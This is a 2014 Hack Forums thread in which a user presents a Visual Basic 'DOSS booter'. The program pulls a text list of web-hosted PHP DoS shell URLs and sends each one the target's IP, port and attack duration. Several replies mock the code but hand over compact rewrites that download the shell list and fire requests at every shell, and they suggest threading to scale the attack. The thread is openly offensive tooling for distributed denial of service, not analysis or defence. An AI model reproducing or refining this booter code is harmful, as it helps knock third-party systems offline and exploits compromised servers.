![]() |
|
[.NET] Load DOS shells from txt file& send request to all of them - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444) +--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151) +---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118) +---- Thread: [.NET] Load DOS shells from txt file& send request to all of them (/showthread.php?tid=4466777) Pages: Pages
1
2
|
Load DOS shells from txt file& send request to all of them - mc-dope - Sep 28, 2014 hello, i have been working on a DOSS booter program using visual basic that downloads a text file with the a list of links to DOS shells hosted on the web, it then sends out a request to all of them with a custom url with custom info like IP,PORT,TIME depending on what the user has written in the textboxes. it works by importing the text file then setting a richtextbox text to the imported txt file contents(contents = a DOS shell link per line) then it sets a list of variables to each line of the richtextbox then when the attack button is clicked it sends out requests with the custom info that the user has inputted in the 3 textboxs (IP,PORT,TIME). the shell formate in the code bellow is: http//site.com/blah/shell.php?ip=blah&port=blah&length=blah textfile should be a link to a DOS Shell per line text file should be like: Code http//site1.com/blah/shell.php?ip=Source Code : (Make the richtextbox invisible/hidden) Imports : Code Imports System.NetPublic Class Code : Code Dim GetShells As New WebClientForm Load Code(When Form Opens) : Code RichTextBox1.text = GetShells.DownloadString("https://host.com/blahlbah/list of shells.txt")Attack Button Code : Code ip = TextBox1.Text* - +Haze - Sep 28, 2014 This has to be by far the worst piece of code I've ever seen in this section. " DOSS booter program" lol just leave pls. Loops and arrays were made for a reason you know. * - Only3 - Sep 28, 2014 haha loops array http://www.dotnetperls.com/for-each-vbnet http://www.java2s.com/Code/VB/Data-Structure/TwowaystoloopthroughArray.htm * - M2K - Sep 28, 2014 Instead of criticizing, imma try to help you. try adding a for loop for your shell listing. using threading for your web attack * - Only3 - Sep 28, 2014 try this RichTextBox1.Lines = IO.File.ReadAllLines("Shell.txt") Array.ForEach(RichTextBox1.Lines, Function(l) New Net.WebClient().DownloadString(l & ip & "&port=" & port & "&length=" & time)) * - $lick - Sep 28, 2014 Also a little threading wouldn't hurt. (Click to View) * - TheBarret - Sep 28, 2014 (Sep 28, 2014 01:22 PM)๖ۣۜLazy™ Wrote: Also a little threading wouldn't hurt. (Click to View) Lazy i think we found our number 3. for the list, dont you think? * - Only3 - Sep 28, 2014 (Sep 28, 2014 01:22 PM)๖ۣۜLazy™ Wrote: Also a little threading wouldn't hurt. (Click to View) 😊 threading ? is it just me or its just not there 😁 * - $lick - Sep 28, 2014 (Sep 28, 2014 01:26 PM)TheBarret Wrote: Lazy i think we found our number 3. for the list, dont you think? This thread is a little to much to quote. I would need to find a really juicy bit. * - +Haze - Sep 28, 2014 (Sep 28, 2014 01:22 PM)๖ۣۜLazy™ Wrote: Also a little threading wouldn't hurt. (Click to View) No need to download string in this case since your're not doing anything with the downloaded string. You should just create a webrequest for each shell instead. Just saying.. * - $lick - Sep 28, 2014 (Sep 28, 2014 01:30 PM)+Haze Wrote: No need to download string in this case since your're not doing anything with the downloaded string. You should just create a webrequest for each shell instead. Just saying.. Yeah I know, I was giving OP an example of using subs. (As he seemed to not know how to) My intention was not to recode his entire project for him. The lack of webrequests is not the only thing wrong with the code I posted. * - Cornflower Blue இڿڰۣ-ڰۣ— - Sep 28, 2014 (Sep 28, 2014 01:32 PM)๖ۣۜLazy™ Wrote: Yeah I know, I was giving OP an example of using subs. (As he seemed to not know how to) I noticed you spelled 'com' wrong, you have a U instead of an O. * - +Haze - Sep 28, 2014 (Sep 28, 2014 01:32 PM)๖ۣۜLazy™ Wrote: Yeah I know, I was giving OP an example of using subs. (As he seemed to not know how to) Oooh I see. Fair enough. Something for him to learn from. * - Only3 - Sep 28, 2014 if u gona download the list from url u can use it directly Dim Wc As New Net.WebClient Array.ForEach(Wc.DownloadString("https://host.com/shells.txt").Split(vbCrLf), Function(l) Wc.UploadString(l & ip & "&port=" & port & "&length=" & time)) * - +Haze - Sep 28, 2014 (Sep 28, 2014 01:50 PM)Only3 Wrote: if u gona download the list from url u can use it directly Mate. If OP can't even use a simple For Loop or array. What makes you think he'd understand what you're doing. You love posting short code, I mean there's nothing wrong with it but just saying. It's not every-time you must post short code. Post something that is readable, I'm not saying I can't read it but you know what I mean. |